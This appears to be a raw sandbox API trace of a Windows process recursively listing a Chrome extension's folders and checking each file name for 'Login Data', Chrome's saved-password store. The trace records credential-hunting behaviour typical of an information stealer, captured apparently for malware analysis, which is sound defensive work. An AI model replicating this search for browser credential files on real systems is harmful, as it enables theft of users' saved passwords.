lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0079.270] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 112 [0079.270] lstrlenA (lpString="\\*.*") returned 4 [0079.270] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*" [0079.270] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0079.270] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.270] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.270] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.270] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.270] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.270] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0079.270] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.270] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0079.270] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.270] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0079.271] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.271] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0079.271] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.271] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0079.271] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.271] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0079.271] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0079.271] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 112 [0079.271] lstrlenA (lpString="\\") returned 1 [0079.271] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0079.271] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned 113 [0079.271] lstrlenA (lpString="_locales") returned 8 [0079.271] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.271] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.271] lstrlenA (lpString="\\*.*") returned 4 [0079.271] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*" [0079.271] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.272] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.272] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.272] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.272] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.272] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.272] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0079.272] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0079.272] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.272] lstrlenA (lpString="\\") returned 1 [0079.272] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.272] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.272] lstrlenA (lpString="ar") returned 2 [0079.272] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0079.272] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 124 [0079.272] lstrlenA (lpString="\\*.*") returned 4 [0079.272] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*" [0079.273] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.273] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.273] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.273] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.273] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.273] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.273] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.273] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.273] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.273] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.273] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0079.273] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0079.273] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.273] lstrlenA (lpString="\\") returned 1 [0079.273] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.273] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.273] lstrlenA (lpString="bg") returned 2 [0079.273] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0079.273] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 124 [0079.273] lstrlenA (lpString="\\*.*") returned 4 [0079.273] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*" [0079.273] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.274] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.274] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.274] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.274] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.274] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.274] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.274] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.274] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.274] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.274] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0079.274] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0079.274] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.274] lstrlenA (lpString="\\") returned 1 [0079.274] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.274] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.274] lstrlenA (lpString="ca") returned 2 [0079.274] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0079.274] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 124 [0079.274] lstrlenA (lpString="\\*.*") returned 4 [0079.274] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*" [0079.274] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.274] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.275] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.275] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.275] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.275] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.275] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.275] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.275] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.275] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.275] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0079.275] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0079.275] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.275] lstrlenA (lpString="\\") returned 1 [0079.275] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.275] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.275] lstrlenA (lpString="cs") returned 2 [0079.275] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0079.275] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 124 [0079.275] lstrlenA (lpString="\\*.*") returned 4 [0079.275] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*" [0079.275] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.275] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.275] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.276] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.276] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.276] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.276] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.276] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.276] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.276] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.276] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0079.276] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0079.276] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.276] lstrlenA (lpString="\\") returned 1 [0079.276] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.276] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.276] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.276] lstrlenA (lpString="da") returned 2 [0079.276] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.276] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0079.276] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 124 [0079.276] lstrlenA (lpString="\\*.*") returned 4 [0079.276] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0079.276] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*" [0079.276] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.276] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.277] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.277] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.277] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.277] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.277] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.277] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.277] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.277] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.277] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0079.277] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0079.277] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.277] lstrlenA (lpString="\\") returned 1 [0079.277] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.277] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 